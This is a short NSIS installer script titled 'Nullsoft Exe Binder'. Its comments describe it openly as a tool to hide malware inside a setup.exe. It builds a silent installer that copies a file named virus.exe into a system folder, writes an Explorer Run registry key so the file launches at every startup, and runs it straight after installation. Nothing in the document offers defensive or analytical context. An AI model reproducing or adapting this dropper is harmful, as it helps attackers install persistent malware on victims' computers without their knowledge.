Nullsoft Exe Binder

silentinstall silent ; this will create a silent installer
outfile "setup.exe"; the output exe
installdir $SYSDIR\5016 ; install directory


section ""         ; the entry point 
setoutpath $INSTDIR

file "c:\napstr\virus.exe"  ; path of malware
WriteRegStr HKLM "SOFTWARE\Microsoft\Windows\...\Explorer\Run" 'apz' $INSTDIR\virus.exe
;it registered the executable to startup
exec $INSTDIR\virus.exe  ;execute the malware just after installation.
sectionend


Note: Everything that starts with ";" is a comment.